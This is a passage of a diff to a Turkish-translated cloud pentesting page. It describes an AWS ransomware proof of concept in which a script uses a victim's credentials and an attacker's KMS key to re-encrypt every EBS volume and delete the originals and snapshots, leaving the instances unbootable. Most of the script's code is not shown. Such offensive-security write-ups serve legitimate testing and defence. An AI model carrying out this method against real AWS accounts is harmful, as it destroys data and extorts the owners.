EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Ama şifrelenmiş EBS volume ile EC2 instance'ını gerçekten başlatmaya çalıştığınızda, işlem başarısız olur ve instance 'pending' durumundan 'stopped' durumuna geri döner; çünkü eklenmiş EBS volume key ile deşifre edilemiyor, çünkü key policy artık buna izin vermiyor. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Bu kullanılan python script'idir. Script, şifreleme için kullanılacak anahtarın halka açık AWS ARN değeri ve 'victim' hesabı için AWS kimlik bilgilerini alır. Script, hedef AWS hesabındaki ALL EC2 instance'lara bağlı olan ALL mevcut EBS hacimlerinin şifreli kopyalarını oluşturur, ardından her EC2 instance'ını durdurur, orijinal EBS hacimlerini ayırır, siler ve süreçte kullanılan tüm snapshots'ları son olarak siler. Bu, hedef 'victim' hesabında sadece şifrelenmiş EBS hacimlerinin kalmasına neden olur. BU SCRIPT'İ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI'DIR VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS key'i kullanarak bunları geri yükleyebilir ve snapshots aracılığıyla orijinal hallerine döndürebilirsiniz, ancak sonuçta bunun bir ransomware PoC olduğunu bilmenizi istiyoruz. +İşte kullanılan python script. Şifreleme için kullanılacak key'in kamuya açık bir AWS ARN değeri ile 'victim' hesabı için AWS creds alır. Script, hedef AWS hesabındaki tüm EC2 instance'larına bağlı TÜM mevcut EBS volume'larının şifrelenmiş kopyalarını oluşturur; ardından her EC2 instance'ını durdurur, orijinal EBS volume'larını detach eder, bunları siler ve süreçte kullanılan tüm snapshots'ları en sonunda siler. Bu, hedeflenen 'victim' hesabında yalnızca şifrelenmiş EBS volume'larının kalmasına yol açar. BU SCRIPT'İ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI'DIR VE TÜM ORİJİNAL EBS VOLUME'LARINI SİLEBİLİR. Kullandığınız KMS key'i kullanarak bunları snapshot'lar üzerinden geri kurtarabilir ve orijinal hallerine döndürebilirsiniz, fakat günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istiyoruz. ``` import boto3 import argparse @@ -619,10 +623,12 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## Referanslar +## Kaynaklar -- [Latacora - ECS on EC2: IMDS sertleştirmesindeki boşlukları kapatma](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- +- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) - [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) -- [Pentest Partners – SSM kullanarak AWS'te dosya aktarma](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}